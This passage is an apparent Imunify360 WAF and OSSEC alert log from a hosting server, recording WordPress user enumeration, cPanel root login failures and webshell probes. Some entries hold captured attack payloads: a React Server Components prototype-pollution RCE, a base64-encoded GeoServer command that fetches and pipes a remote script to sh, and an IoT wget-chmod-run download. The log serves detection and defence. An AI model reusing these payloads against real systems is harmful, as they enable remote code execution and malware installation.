Jul  8 13:01:08 staging sshd[2891349]: Accepted publickey for ansible from 192.168.0.89 port 55010 ssh2: RSA SHA256:xws9shc+5QT2iAE1QNKkNZC6rO4FO1Xzz2bj1jOINps


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 195.214.235.99
country_id: 130758
domain: stephencohenlaw.trangotech.dev
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36||MV:/wp-json/wp/v2/users/me||RSV:8.27||T:APACHE||


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 160.187.68.132
country_id: 1269750
domain: terrazzo.trangotech.dev
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36||MV:/wp-json/wp/v2/users/me||RSV:8.27||T:APACHE||


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 47.86.33.52
country_id: 1819730
domain: commclan.trangotech.dev
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:Mozilla/5.0 (Macintosh; Intel Mac OS X 13_6_9) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36||MV:/wp-json/wp/v2/users/me||RSV:8.27||T:APACHE||


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 91.142.222.105
country_id: 2510769
domain: stephencohenlaw.trangotech.dev
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:Mozilla/5.0 (Linux; Android 10; SM-G973F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Mobile Safari/537.36||MV:/wp-json/wp/v2/users/me||RSV:8.27||T:APACHE||


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 128.199.203.39
country_id: 1880251
domain: commclan.trangotech.dev
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:Mozilla/5.0 (Linux; Android 13; Pixel 7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Mobile Safari/537.36||MV:/wp-json/wp/v2/users/me||RSV:8.27||T:APACHE||


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 148.72.152.17
country_id: 6252001
domain: commclan.trangotech.dev
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36||MV:/wp-json/wp/v2/users/me||RSV:8.27||T:APACHE||


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 154.61.75.100
country_id: 1269750
domain: commclan.trangotech.dev
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:Mozilla/5.0 (Linux; Android 14; Pixel 8 Pro) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Mobile Safari/537.36||MV:/wp-json/wp/v2/users/me||RSV:8.27||T:APACHE||


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 202.51.202.242
country_id: 1643084
domain: spoonwidth.trangotech.dev
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:Mozilla/5.0 (Linux; Android 12; SM-G991B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Mobile Safari/537.36||MV:/wp-json/wp/v2/users/me||RSV:8.27||T:APACHE||


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 154.61.75.100
country_id: 1269750
domain: wowspent.trangotech.dev
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36||MV:/wp-json/wp/v2/users/me||RSV:8.27||T:APACHE||


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 162.254.36.150
country_id: 6252001
domain: wowspent.trangotech.dev
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36||MV:/wp-json/wp/v2/users/me||RSV:8.27||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 43.245.104.103
country_id: 1880251
domain: fendahl.trangotech.dev
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.27||T:APACHE||RA:43.245.104.103||TA:43.245.104.103||


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 162.254.36.150
country_id: 6252001
domain: needa.trangotech.dev
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36||MV:/wp-json/wp/v2/users/me||RSV:8.27||T:APACHE||


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 202.51.202.242
country_id: 1643084
domain: needa.trangotech.dev
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:Mozilla/5.0 (X11; Fedora; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36||MV:/wp-json/wp/v2/users/me||RSV:8.27||T:APACHE||


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 148.72.152.17
country_id: 6252001
domain: streamsynx.trangotech.dev
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36||MV:/wp-json/wp/v2/users/me||RSV:8.27||T:APACHE||


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 160.187.68.132
country_id: 1269750
domain: tenai.trangotech.dev
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:Mozilla/5.0 (Macintosh; Intel Mac OS X 11_7_10) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36||MV:/wp-json/wp/v2/users/me||RSV:8.27||T:APACHE||


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 103.90.234.13
country_id: 1562822
domain: commclan.trangotech.dev
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36 Edg/150.0.0.0||MV:/wp-json/wp/v2/users/me||RSV:8.27||T:APACHE||


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 151.246.1.203
country_id: 1880251
domain: stephencohenlaw.trangotech.dev
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:Mozilla/5.0 (iPad; CPU OS 18_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/150.0.7871.34 Mobile/15E148 Safari/604.1||MV:/wp-json/wp/v2/users/me||RSV:8.27||T:APACHE||


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 154.61.75.100
country_id: 1269750
domain: eventemcee.trangotech.dev
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:Mozilla/5.0 (Macintosh; Intel Mac OS X 14_7_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36||MV:/wp-json/wp/v2/users/me||RSV:8.27||T:APACHE||


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 31.24.44.107
country_id: 2510769
domain: stephencohenlaw.trangotech.dev
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:Mozilla/5.0 (Linux; Android 14; Pixel 8) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Mobile Safari/537.36||MV:/wp-json/wp/v2/users/me||RSV:8.27||T:APACHE||


plugin: modsec
rule: 77093094
abuser: 161.35.3.45
country_id: 6252001
domain: 38.95.35.74
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"var res=process.mainModule.require('child_process').execSync('pwd').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\",\"_chunks\":\"$Q2\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}||RSV:8.27||T:APACHE||


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 162.254.36.150
country_id: 6252001
domain: needa.trangotech.dev
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:Mozilla/5.0 (Linux; Android 13; Pixel 7 Pro) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Mobile Safari/537.36||MV:/wp-json/wp/v2/users/me||RSV:8.27||T:APACHE||


plugin: modsec
rule: 77316831
name: IM360 WAF: Suspicious WordPress plugin installation attempt
abuser: 136.234.159.233
country_id: 2750405
domain: magnacrete.trangotech.dev
description:
IM360 WAF: Suspicious WordPress plugin installation attempt||File:dummy-plugin.zip||WPU:admin||RSV:8.27||T:APACHE||


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 136.234.159.233
country_id: 2750405
domain: magnacrete.trangotech.dev
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.27||T:APACHE||MV:/wp-json/wp/v2/users/me||


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 148.72.152.17
country_id: 6252001
domain: stephencohenlaw.trangotech.dev
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:Mozilla/5.0 (iPhone; CPU iPhone OS 18_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/150.0.7871.34 Mobile/15E148 Safari/604.1||MV:/wp-json/wp/v2/users/me||RSV:8.27||T:APACHE||


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 103.74.116.219
country_id: 1562822
domain: commclan.trangotech.dev
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36 Edg/150.0.0.0||MV:/wp-json/wp/v2/users/me||RSV:8.27||T:APACHE||


plugin: modsec
rule: 33341
name: IM360 WAF: Track file upload for Infectors
abuser: 180.245.59.42
country_id: 1643084
domain: bookemfarm.trangotech.dev
description:
IM360 WAF: Track file upload for Infectors||RSV:8.27||T:APACHE||SC:/home/bookemfarmtrang/public_html/wp-content/plugins/ejlucde6wtu92z98ofc2/6egnbfqljrqspciqkrm1rCmass.php||User:bookemfarmtrang||WPU:||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 100.48.16.242
country_id: 6252001
domain: kylenet.trangotech.dev
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/138.0.7204.23 Safari/537.36||RSV:8.27||T:APACHE||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 114.79.7.198
country_id: 1643084
domain: bookemfarm.trangotech.dev
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/136.0.7103.25 Safari/537.36||RSV:8.27||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.33.13.181
country_id: 6252001
domain: 38.95.35.74
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:SSTP_DUPLEX_POST /sra_{BA195980-CD49-458b-9E23-C84EE0ADCD75}/ HTTP/1.1||RSV:8.27||T:APACHE||


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 74.7.242.49
country_id: 6252001
domain: commclan.trangotech.dev
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.27||T:APACHE||MV:/wp-json/wp/v2/users/1||


plugin: modsec
rule: 77350942
name: IM360 WAF: Dangerous PHP functions in REQUEST_URI
abuser: 94.154.43.64
country_id: 2750405
domain: 38.95.35.74
description:
IM360 WAF: Dangerous PHP functions in REQUEST_URI||MV:/geoserver/wfs?service=WFS&version=2.0.0&request=GetPropertyValue&typeNames=sf:archsites&valueReference=exec(java.lang.Runtime.getRuntime(),'bash -c {echo,KHdnZXQgLXFPLSBodHRwOi8vNDUuMTUzLjM0LjE1My9yb25kby5gYHp5dC5zaHx8YnVzeWJveCB3Z2V0IC1xTy0gaHR0cDovLzQ1LjE1My4zNC4xNTMvcm9uZG8uYGB6eXQuc2h8fGN1cmwgLXMgaHR0cDovLzQ1LjE1My4zNC4xNTMvcm9uZG8uYGB6eXQuc2gpfHNo}|{base64,-d}|sh')||RSV:8.27||T:APACHE||


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 18.61.192.253
country_id: 1269750
domain: bibo.trangotech.dev
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36||MV:/blog/wp-json/wp/v2/users/me||RSV:8.27||T:APACHE||


plugin: modsec
rule: 77350374
name: IM360 WAF: Scan attempt by bytespider crawler
abuser: 110.249.202.208
country_id: 1814991
domain: boat.trangotech.dev
description:
IM360 WAF: Scan attempt by bytespider crawler||UA:Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Bytespider; https://zhanzhang.toutiao.com/)||RSV:8.27||T:APACHE||


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 203.134.193.134
country_id: 1269750
domain: conciergo.trangotech.dev
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:Mozilla/5.0 (Linux; Android 11; Redmi Note 9) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Mobile Safari/537.36||MV:/wp-json/wp/v2/users/me||RSV:8.27||T:APACHE||


plugin: ossec
rule: 5715
name: SSHD authentication success.
abuser: 192.168.0.89
description:
Jul  9 01:33:27 staging sshd[2968819]: Accepted publickey for ansible from 192.168.0.89 port 34438 ssh2: RSA SHA256:xws9shc+5QT2iAE1QNKkNZC6rO4FO1Xzz2bj1jOINps


plugin: ossec
rule: 5715
name: SSHD authentication success.
abuser: 192.168.0.89
description:
Jul  9 01:55:17 staging sshd[2976166]: Accepted publickey for ansible from 192.168.0.89 port 39806 ssh2: RSA SHA256:xws9shc+5QT2iAE1QNKkNZC6rO4FO1Xzz2bj1jOINps


plugin: ossec
rule: 5715
name: SSHD authentication success.
abuser: 192.168.0.89
description:
Jul  9 02:52:42 staging sshd[2986201]: Accepted publickey for ansible from 192.168.0.89 port 35258 ssh2: RSA SHA256:xws9shc+5QT2iAE1QNKkNZC6rO4FO1Xzz2bj1jOINps


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 161.97.129.228
country_id: 3017382
domain: floristtrader.trangotech.dev
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:Mozilla/5.0 (X11; Fedora; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36||MV:/wp/wp-json/wp/v2/users/me||RSV:8.27||T:APACHE||


plugin: ossec
rule: 5715
name: SSHD authentication success.
abuser: 192.168.0.89
description:
Jul  9 03:24:41 staging sshd[2995432]: Accepted publickey for ansible from 192.168.0.89 port 54776 ssh2: RSA SHA256:xws9shc+5QT2iAE1QNKkNZC6rO4FO1Xzz2bj1jOINps


plugin: ossec
rule: 5715
name: SSHD authentication success.
abuser: 192.168.0.89
description:
Jul  9 04:11:30 staging sshd[3006320]: Accepted publickey for ansible from 192.168.0.89 port 50684 ssh2: RSA SHA256:xws9shc+5QT2iAE1QNKkNZC6rO4FO1Xzz2bj1jOINps


plugin: ossec
rule: 5715
name: SSHD authentication success.
abuser: 192.168.0.89
description:
Jul  9 05:06:23 staging sshd[3018804]: Accepted publickey for ansible from 192.168.0.89 port 48444 ssh2: RSA SHA256:xws9shc+5QT2iAE1QNKkNZC6rO4FO1Xzz2bj1jOINps


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 162.254.36.150
country_id: 6252001
domain: floristtrader.trangotech.dev
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:Mozilla/5.0 (Linux; Android 13; Pixel 7 Pro) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Mobile Safari/537.36||MV:/wp/wp-json/wp/v2/users/me||RSV:8.27||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 45.148.10.42
country_id: 2750405
domain: 38.95.35.74
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env?_=46qwzpot&v=ltu9t||RSV:8.27||T:APACHE||


plugin: ossec
rule: 5715
name: SSHD authentication success.
abuser: 192.168.0.89
description:
Jul  9 07:52:08 staging sshd[3046969]: Accepted publickey for ansible from 192.168.0.89 port 57096 ssh2: RSA SHA256:xws9shc+5QT2iAE1QNKkNZC6rO4FO1Xzz2bj1jOINps


plugin: modsec
rule: 77350947
name: IM360 WAF: Suspicious scrapping User-Agent
abuser: 82.23.117.39
country_id: 6251999
domain: warego.trangotech.dev
description:
IM360 WAF: Suspicious scrapping User-Agent||MV:curl Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36||RSV:8.27||T:APACHE||


plugin: ossec
rule: 5715
name: SSHD authentication success.
abuser: 192.168.0.89
description:
Jul  9 09:19:38 staging sshd[3063716]: Accepted publickey for ansible from 192.168.0.89 port 57516 ssh2: RSA SHA256:xws9shc+5QT2iAE1QNKkNZC6rO4FO1Xzz2bj1jOINps


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 62.60.131.165
country_id: 130758
domain: betterself.trangotech.dev
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.27||T:APACHE||MV:/wp-json/wp/v2/users?per_page=100&_fields=id,slug,name,link,roles||


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 62.60.131.165
country_id: 130758
domain: betterself.trangotech.dev
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.27||T:APACHE||MV:/wp-json/wp/v2/users?offset=0&per_page=100&_fields=id,slug||


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 62.60.131.165
country_id: 130758
domain: betterself.trangotech.dev
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.27||T:APACHE||MV:/wp-json/wp/v2/users?per_page=100&_fields=id,slug||


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 62.60.131.165
country_id: 130758
domain: betterself.trangotech.dev
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.27||T:APACHE||MV:/wp-json/wp/v2/users/5?_fields=id,slug,roles||


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 62.60.131.165
country_id: 130758
domain: betterself.trangotech.dev
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.27||T:APACHE||MV:/wp-json/wp/v2/users/6?_fields=id,slug,roles||


plugin: ossec
rule: 5715
name: SSHD authentication success.
abuser: 192.168.0.89
description:
Jul  9 10:15:24 staging sshd[3079701]: Accepted publickey for ansible from 192.168.0.89 port 40586 ssh2: RSA SHA256:xws9shc+5QT2iAE1QNKkNZC6rO4FO1Xzz2bj1jOINps


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 103.87.212.39
country_id: 1210997
domain: bookemfarm.trangotech.dev
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.27||T:APACHE||MV:/aa38ncmpwbbhismkwCdefault.php/wp-content/uploads/makeasmtp.php||SC:/home/bookemfarmtrang/public_html/aa38ncmpwbbhismkwCdefault.php||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 103.87.212.39
country_id: 1210997
domain: bookemfarm.trangotech.dev
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.27||T:APACHE||MV:/aa38ncmpwbbhismkwCdefault.php/wp-includes/images/wp-login.php||SC:/home/bookemfarmtrang/public_html/aa38ncmpwbbhismkwCdefault.php||


plugin: modsec
rule: 77140742
name: IM360 WAF: Block abusive scripts
abuser: 103.87.212.39
country_id: 1210997
domain: bookemfarm.trangotech.dev
description:
IM360 WAF: Block abusive scripts||MVN:REQUEST_URI||RSV:8.27||T:APACHE||MV:/aa38ncmpwbbhismkwCdefault.php/wp-admin/maint/index.php||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 103.87.212.39
country_id: 1210997
domain: bookemfarm.trangotech.dev
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.27||T:APACHE||MV:/wp-admin/aa38ncmpwbbhismkwCdefault.php/wp-content/uploads/makeasmtp.php||SC:/home/bookemfarmtrang/public_html/wp-admin/aa38ncmpwbbhismkwCdefault.php||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 103.87.212.39
country_id: 1210997
domain: bookemfarm.trangotech.dev
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.27||T:APACHE||MV:/wp-admin/aa38ncmpwbbhismkwCdefault.php/wp-includes/images/wp-login.php||SC:/home/bookemfarmtrang/public_html/wp-admin/aa38ncmpwbbhismkwCdefault.php||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 180.149.20.90
country_id: 6252001
domain: express.trangotech.dev
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/106.0.5249.30 Safari/537.36||RSV:8.27||T:APACHE||


plugin: modsec
rule: 77350207
name: IM360 WAF: WordPress plugins/themes version enumeration
abuser: 136.65.249.179
country_id: 6252001
domain: constructionconnect.trangotech.dev
description:
IM360 WAF: WordPress plugins/themes version enumeration||RSV:8.27||T:APACHE||REQUEST_URI:/wp-includes/wlwmanifest.xml||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.120.189.68
country_id: 1269750
description:
[2026-07-09 13:55:44 -0400] info [whostmgrd] 103.120.189.68 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 103.120.189.68
country_id: 1269750
description:
[2026-07-09 13:55:46 -0400] info [whostmgrd] 103.120.189.68 - root "GET /scripts2/listaccts HTTP/1.1" DEFERRED LOGIN whostmgrd: security token missing


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.120.189.68
country_id: 1269750
description:
[2026-07-09 13:55:48 -0400] info [whostmgrd] 103.120.189.68 - root "GET /cpsess8357694042/json-api/version HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: modsec
rule: 77093094
abuser: 194.163.172.10
country_id: 3017382
domain: 38.95.35.74:443
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B0\\\"}\",\"_response\":{\"_prefix\":\"test\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}||RSV:8.27||T:APACHE||


plugin: modsec
rule: 77142262
name: IM360 WAF: IOT unauthenticated file upload and RCE
abuser: 185.171.10.43
country_id: 2510769
domain: 127.0.0.1:80
description:
IM360 WAF: IOT unauthenticated file upload and RCE||RSV:8.27||T:APACHE||MVN:REQUEST_URI||MV:/shell?cd /tmp;wget http://196.251.121.142/a3f8d2/kaizen.arm7sf_srv -o .k;chmod 777 .k;./.k||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 45.198.224.5
country_id: 6252001
description:
[2026-07-09 16:35:53 -0400] info [whostmgrd] 45.198.224.5 - root "GET /scripts2/listaccts HTTP/1.1" DEFERRED LOGIN whostmgrd: security token missing


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.198.224.5
country_id: 6252001
description:
[2026-07-09 16:35:52 -0400] info [whostmgrd] 45.198.224.5 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 13.72.110.24
country_id: 6252001
description:
[2026-07-09 18:13:47 -0400] info [whostmgrd] 13.72.110.24 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 13.72.110.24
country_id: 6252001
description:
[2026-07-09 18:13:47 -0400] info [whostmgrd] 13.72.110.24 - root "GET /scripts2/listaccts HTTP/1.1" DEFERRED LOGIN whostmgrd: security token missing


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 64.89.161.50
country_id: 6252001
domain: magnacrete.trangotech.dev
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/shxt_33ksbz/fonts/shxt.php||RSV:8.27||T:APACHE||


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 74.7.242.63
country_id: 6252001
domain: woocommerce.staging-epcwms.com
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.27||T:APACHE||MV:/wordpress/wp-json/wp/v2/users/1||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 52.203.124.202
country_id: 6252001
domain: pst.trangotech.dev
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/132.0.0.0 Safari/537.36||RSV:8.27||T:APACHE||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 3.111.184.131
country_id: 1269750
domain: fendahl.trangotech.dev
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/149.0.0.0 Safari/537.36||RSV:8.27||T:APACHE||


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 139.185.46.40
country_id: 290557
domain: followthru.trangotech.dev
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.28||T:APACHE||MV:/wp-json/wp/v2/users||


plugin: modsec
rule: 77350374
name: IM360 WAF: Scan attempt by bytespider crawler
abuser: 47.128.22.185
country_id: 1880251
domain: nationalsteelbuildings.trangotech.dev
description:
IM360 WAF: Scan attempt by bytespider crawler||UA:Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Bytespider; spider-feedback@bytedance.com)||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 35.199.32.73
country_id: 6252001
domain: findr.trangotech.dev
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.28||T:APACHE||MV:/wp-json/wp/v2/users/||


plugin: ossec
